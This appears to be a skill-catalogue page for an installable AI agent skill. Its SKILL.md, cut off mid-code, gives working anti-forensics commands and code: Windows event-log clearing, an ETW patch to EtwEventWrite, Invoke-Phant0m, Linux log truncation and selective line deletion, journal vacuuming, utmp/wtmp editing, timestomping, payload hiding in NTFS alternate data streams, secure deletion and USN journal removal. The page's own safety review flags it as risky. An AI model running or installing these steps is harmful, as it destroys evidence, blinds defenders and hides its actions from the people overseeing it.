offensive-anti-forensics
Anti-forensics and evidence destruction techniques for red team operators conducting authorized engagements. Covers log clearing on Windows (wevtutil, Clear-EventLog, ETW provider patching) and Linux (journal truncation, utmp/wtmp binary editing, syslog manipulation), timestamp manipulation via Time…
Install / Use
npx skills add SnailSploit/Claude-Red --skill offensive-anti-forensicsInstalls into whichever agent you are using.
SKILL.md
Installable skill definition
Quality Score
Category
Development & EngineeringSupported Platforms
Tags
Our assessment of offensive-anti-forensics
offensive-anti-forensics scores 96/100 on our quality scale, 222nd of 4,700 Development & Engineering skills we index (top 5%).
Its SKILL.md is 19 KB long, well organised into 76 sections with 22 code examples: a thorough specification that gives an agent plenty to work with.
With 6,850 GitHub stars, it is one of the more widely adopted skills in the catalogue.
Maintenance, license and trust
- The repository was last updated about 2 months ago, so offensive-anti-forensics is actively maintained.
- Our last check on 2026-11-15 found the source still online.
- It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
- Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.
Safety scan
ReviewOur scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky (a second model did not confirm it as malicious): The skill instructs the agent to destroy evidence and blind telemetry, e.g., wevtutil cl, ETW patching, Invoke-Phant0m, journalctl --vacuum-time=1s, and log truncation, to hide its actions from defenders and the user.
AI review: risky
- The skill instructs the agent to destroy evidence and blind telemetry, e.g., wevtutil cl, ETW patching, Invoke-Phant0m, journalctl --vacuum-time=1s, and log truncation, to hide its actions from defenders and the user.
- It directs exfiltration of sensitive data and credential cleanup, including an encrypted tar exfil of /sensitive/data via curl and removal of LSASS credential artifacts, plus clearing PowerShell/bash history to cover tracks.
- It teaches payload hiding and analysis evasion, such as NTFS Alternate Data Streams, deleting the USN journal, timestomping, and anti-VM/sandbox detection to avoid dynamic analysis.
AI review by kimi-k2.7-code with a second opinion from glm-5.3 on 2026-09-29. Automated pattern scan on 2026-09-28. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.
offensive-anti-forensics compared with similar skills
All 4 of these similar skills score higher than offensive-anti-forensics; compare them before choosing.
| Skill | Score | Stars | Updated | Format |
|---|---|---|---|---|
| offensive-anti-forensics (this skill)by SnailSploit | 96 | 6.8k | 58d ago | SKILL.md |
| taste-skillby Leonxlnx | 100 | 116.8k | 8d ago | CLAUDE.md |
| ai-job-searchby ai-job-search-dev | 100 | 72.1k | today | CLAUDE.md |
| claude-howtoby luongnv89 | 100 | 47.3k | 2d ago | CLAUDE.md |
| lobehubby lobehub | 100 | 85.6k | today | MCP Server |
Frequently asked questions
- How do I install offensive-anti-forensics?
- Run
npx skills add SnailSploit/Claude-Red --skill offensive-anti-forensics. The install tabs above show the steps for each supported agent. - Which AI agents does offensive-anti-forensics work with?
- It is written for Zed, as a SKILL.md file. Other agents that read the same format can often use it too.
- Is offensive-anti-forensics safe to use?
- Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky (a second model did not confirm it as malicious): The skill instructs the agent to destroy evidence and blind telemetry, e.g., wevtutil cl, ETW patching, Invoke-Phant0m, journalctl --vacuum-time=1s, and log truncation, to hide its actions from defenders and the user. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
- Is offensive-anti-forensics still maintained?
- The repository was last updated about 2 months ago, so offensive-anti-forensics is actively maintained.
Skill content
View source on GitHubname: offensive-anti-forensics description: "Anti-forensics and evidence destruction techniques for red team operators conducting authorized engagements. Covers log clearing on Windows (wevtutil, Clear-EventLog, ETW provider patching) and Linux (journal truncation, utmp/wtmp binary editing, syslog manipulation), timestamp manipulation via Timestomp and SetMACE to defeat timeline analysis, filesystem-level anti-forensics including NTFS Alternate Data Streams for payload hiding and secure deletion with sdelete/shred, memory artifact removal to counter live forensics, disk artifact manipulation targeting MFT entries and USN journal records, network forensics evasion through encrypted C2 channels and DNS-over-HTTPS tunneling, and anti-VM/sandbox detection to avoid dynamic analysis environments. Tools: Timestomp, wevtutil, sdelete, shred, MimiPenguin, Invoke-Phant0m. Aligns to MITRE ATT&CK T1070 (Indicator Removal), T1027 (Obfuscated Files or Information), T1497 (Virtualization/Sandbox Evasion). Each technique includes the forensic artifact it targets, the destruction or manipulation method, and the defender perspective so operators understand detection gaps they must account for."
Offensive Anti-Forensics
Anti-forensics is the practice of manipulating, destroying, or preventing the creation of forensic artifacts during an engagement. As a red team operator, you treat every action as generating evidence -- logs, timestamps, memory structures, disk metadata, and network captures all tell a story. Your objective is to control that narrative. This skill covers the primary evidence categories you encounter on Windows and Linux targets, the techniques for manipulating each, and the defender view so you understand what a competent forensic analyst looks for when your cleanup is incomplete.
You operate under an authorization scope. Every technique here assumes you have written permission to execute these actions on target systems. Document what you clear and when -- your engagement report must account for artifacts you destroyed so the blue team can rebuild their detection baseline.
Quick Workflow
- Enumerate logging infrastructure before executing payloads -- identify what generates evidence.
- Disable or blind telemetry sources (ETW, Sysmon, auditd) at the earliest safe opportunity.
- Execute your operation with minimal footprint using in-memory techniques where possible.
- Manipulate timestamps on any files you touched to blend with surrounding filesystem activity.
- Clear or edit logs selectively -- wholesale deletion is noisier than surgical modification.
- Remove memory artifacts if you have reason to believe live forensics will occur.
- Validate your cleanup by checking the same artifacts a forensic analyst would examine.
Windows Event Log Clearing
Windows Event Logs are the primary evidence source on Windows targets. The Security, System, PowerShell, and Sysmon/Operational channels record authentication, process creation, and command execution events.
Wevtutil Approach
Clear specific channels rather than all logs to reduce the blast radius of your cleanup.
rem Clear Security log only
wevtutil cl Security
rem Clear specific channels relevant to your activity
wevtutil cl "Microsoft-Windows-PowerShell/Operational"
wevtutil cl "Microsoft-Windows-Sysmon/Operational"
wevtutil cl "Windows PowerShell"
rem Enumerate all logs to find non-obvious channels
wevtutil el | findstr /i "operational"
rem Export a log before clearing to preserve your own records
wevtutil epl Security C:\Windows\Temp\sec_backup.evtx
wevtutil cl Security
PowerShell Clear-EventLog
# Clear classic logs
Clear-EventLog -LogName Security, System, Application
# Clear modern logs via wevtutil wrapper
Get-WinEvent -ListLog * | Where-Object { $_.RecordCount -gt 0 } | ForEach-Object {
wevtutil cl $_.LogName 2>$null
}
# Selective clearing -- remove only your time window events
# This requires parsing and rewriting, which is complex but less detectable
$targetTime = Get-Date "2026-08-24 03:00"
$events = Get-WinEvent -LogName Security | Where-Object {
$_.TimeCreated -lt $targetTime -or $_.TimeCreated -gt $targetTime.AddHours(2)
}
# Note: native Windows APIs do not support selective event deletion
# You must clear and rewrite, or use third-party tooling
ETW Provider Patching
Event Tracing for Windows underpins most logging. Patching the ETW provider in-process prevents log generation at the source, which is quieter than post-hoc clearing.
// Patch ntdll!EtwEventWrite in the current process
// This blinds any ETW consumer for events from this process
[DllImport("kernel32.dll")]
static extern bool VirtualProtect(IntPtr addr, UIntPtr size, uint newProt, out uint oldProt);
IntPtr ntdll = GetModuleHandle("ntdll.dll");
IntPtr etwAddr = GetProcAddress(ntdll, "EtwEventWrite");
// Overwrite first byte with RET (0xC3)
uint oldProtect;
VirtualProtect(etwAddr, (UIntPtr)1, 0x40, out oldProtect);
Marshal.WriteByte(etwAddr, 0xC3);
VirtualProtect(etwAddr, (UIntPtr)1, oldProtect, out oldProtect);
# Invoke-Phant0m: Kill threads responsible for Event Log Service
# This stops log writing without stopping the service itself
# The service appears running but no events are recorded
Import-Module .\Invoke-Phant0m.ps1
Invoke-Phant0m
Linux Log Clearing
Linux logging varies by distribution and configuration. You must account for syslog/rsyslog, systemd journal, auth logs, and login records stored in binary utmp/wtmp/btmp files.
Syslog and Auth Log Manipulation
# Truncate rather than delete -- preserves inode and avoids alerting on missing files
truncate -s 0 /var/log/syslog
truncate -s 0 /var/log/auth.log
truncate -s 0 /var/log/messages
truncate -s 0 /var/log/secure
# Selective removal -- strip lines matching your source IP
sed -i '/10\.10\.14\.5/d' /var/log/auth.log
sed -i '/10\.10\.14\.5/d' /var/log/syslog
# Remove entries within a time window from auth.log
sed -i '/Aug 24 03:0[0-9]/d' /var/log/auth.log
sed -i '/Aug 24 03:1[0-9]/d' /var/log/auth.log
# Handle rotated logs
for f in /var/log/auth.log.* /var/log/syslog.*; do
if file "$f" | grep -q gzip; then
gunzip "$f"
sed -i '/10\.10\.14\.5/d' "${f%.gz}"
gzip "${f%.gz}"
else
sed -i '/10\.10\.14\.5/d' "$f"
fi
done
Systemd Journal Clearing
# Flush and rotate, then vacuum
journalctl --flush --rotate
journalctl --vacuum-time=1s
# Alternative: remove journal files directly
rm -rf /var/log/journal/*
systemctl restart systemd-journald
# Selective approach: vacuum to a small size to keep recent benign entries
journalctl --vacuum-size=10M
utmp/wtmp/btmp Binary Editing
These binary files record login sessions. Tools like last and who read them. You cannot edit them with sed -- you need purpose-built utilities or direct binary manipulation.
/* utmp_editor.c -- remove a specific entry from utmp/wtmp
* Compile: gcc -o utmp_editor utmp_editor.c
* Usage: ./utmp_editor /var/log/wtmp username_to_remove */
#include <stdio.h>
#include <string.h>
#include <utmp.h>
int main(int argc, char *argv[]) {
if (argc != 3) return 1;
FILE *fp = fopen(argv[1], "r+b");
FILE *tmp = fopen("/tmp/.utmp_clean", "wb");
struct utmp entry;
while (fread(&entry, sizeof(entry), 1, fp) == 1) {
if (strncmp(entry.ut_user, argv[2], UT_NAMESIZE) != 0) {
fwrite(&entry, sizeof(entry), 1, tmp);
}
}
fclose(fp); fclose(tmp);
rename("/tmp/.utmp_clean", argv[1]);
return 0;
}
# Quick approach using utmpdump (available on most distros)
utmpdump /var/log/wtmp > /tmp/wtmp.txt
grep -v "your_username" /tmp/wtmp.txt > /tmp/wtmp_clean.txt
utmpdump -r < /tmp/wtmp_clean.txt > /var/log/wtmp
rm /tmp/wtmp.txt /tmp/wtmp_clean.txt
Timestamp Manipulation
Forensic timeline analysis correlates file modification, access, creation, and entry-modified times (MACE) across the filesystem. Manipulating these timestamps defeats or complicates timeline reconstruction.
Windows Timestomp
# Native PowerShell timestamp modification
$file = Get-Item C:\Windows\Temp\payload.exe
$file.CreationTime = "01/15/2025 08:30:00"
$file.LastWriteTime = "01/15/2025 08:30:00"
$file.LastAccessTime = "01/15/2025 08:30:00"
# Match timestamps to a legitimate system file
$ref = Get-Item C:\Windows\System32\notepad.exe
$target = Get-Item C:\Windows\Temp\payload.exe
$target.CreationTime = $ref.CreationTime
$target.LastWriteTime = $ref.LastWriteTime
$target.LastAccessTime = $ref.LastAccessTime
# Metasploit Timestomp via Meterpreter
# meterpreter> timestomp C:\\Windows\\Temp\\payload.exe -f C:\\Windows\\System32\\notepad.exe
# This copies all MACE values from notepad.exe to your payload
# SetMACE via direct NTFS manipulation (bypasses standard API logging)
# Requires raw NTFS access -- tools like SetMACE modify $STANDARD_INFORMATION
# and $FILE_NAME attributes in the MFT directly
Linux Timestamp Manipulation
# Set specific timestamps using touch
touch -t 202501150830.00 /tmp/payload
touch -a -t 202501150830.00 /tmp/payload # access time only
touch -m -t 202501150830.00 /tmp/payload # modification time only
# Clone timestamps from a reference file
touch -r /usr/bin/ssh /tmp/payload
# Modify ctime (change time) -- requires debugfs on ext4
# ctime cannot be set via standard APIs, which forensic analysts know
debugfs -w /dev/sda1 -R "set_inode_field /tmp/payload ctime 202501150830"
# Recursive timestamp normalization for a directory of tools
find /opt/tools -type f -exec touch -r /usr/bin/ls {} \;
Filesystem Anti-Forensics
NTFS Alternate Data Streams
NTFS ADS allows you to attach data to a file without changing its visible size or content. Standard directory listings do not show ADS content.
rem Hide payload in an ADS attached to a benign file
type payload.exe > C:\Users\Public\Documents\readme.txt:payload.exe
rem Execute from ADS (varies by Windows version and payload type)
wmic process call create "C:\Users\Public\Documents\readme.txt:payload.exe"
rem List ADS on a file
dir /r C:\Users\Public\Documents\readme.txt
rem PowerShell ADS operations
Set-Content -Path "C:\Users\Public\readme.txt" -Stream "hidden" -Value "config data"
Get-Content -Path "C:\Users\Public\readme.txt" -Stream "hidden"
Get-Item -Path "C:\Users\Public\readme.txt" -Stream *
Secure Deletion
rem Windows: SDelete from Sysinternals
sdelete -p 3 C:\Windows\Temp\payload.exe
sdelete -p 3 -s C:\Windows\Temp\tools\
rem Cipher /w overwrites deallocated space on a volume
cipher /w:C:\Windows\Temp
# Linux: shred overwrites file content before unlinking
shred -vfz -n 3 /tmp/payload
# Secure delete then remove
shred -u /tmp/payload
# Overwrite free space on a partition
dd if=/dev/urandom of=/tmp/wipe_free bs=1M 2>/dev/null; rm /tmp/wipe_free
sync
# For SSDs, TRIM complicates recovery but does not guarantee destruction
fstrim -v /
Disk Artifact Manipulation
MFT and USN Journal
The NTFS Master File Table records metadata for every file, including deleted ones. The USN (Update Sequence Number) Journal logs every change to files on a volume. Both are high-value forensic sources.
rem Delete the USN Journal (requires admin)
fsutil usn deletejournal /d C:
rem Query USN journal to understand what it recorded about your activity
fsutil usn readjournal C: csv > usn_dump.csv
findstr /i "payload" usn_dump.csv
rem Disable USN journal creation on a volume
fsutil usn deletejournal /n C:
# MFT entries for deleted files persist until overwritten
# Filling the volume forces MFT entry reuse
$stream = [System.IO.File]::Create("C:\Windows\Temp\filler.bin")
$buffer = New-Object byte[] (1024 * 1024)
try { while ($true) { $stream.Write($buffer, 0, $buffer.Length) } }
catch { $st
Truncated for display — read the full file on GitHub.
Related Skills
taste-skill
116.8kAgent skills that give coding agents taste: art direction, reference images and a browser check instead of generic AI pages
ai-job-search
72.1kThe job search that runs on your machine. AI job application framework built on Claude Code: evaluate postings, tailor CVs, write cover letters, prep interviews. Fork it and own it.
claude-howto
47.3kA visual, example-driven guide to Claude Code — from basic concepts to advanced agents, with copy-paste templates that bring immediate value.
lobehub
85.6k🤯 LobeHub - Super-Agents on Your Team. Add super-agents to the chats your team already uses.They take on work by themselves and get better every week.
Languages
Trust signals
From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.
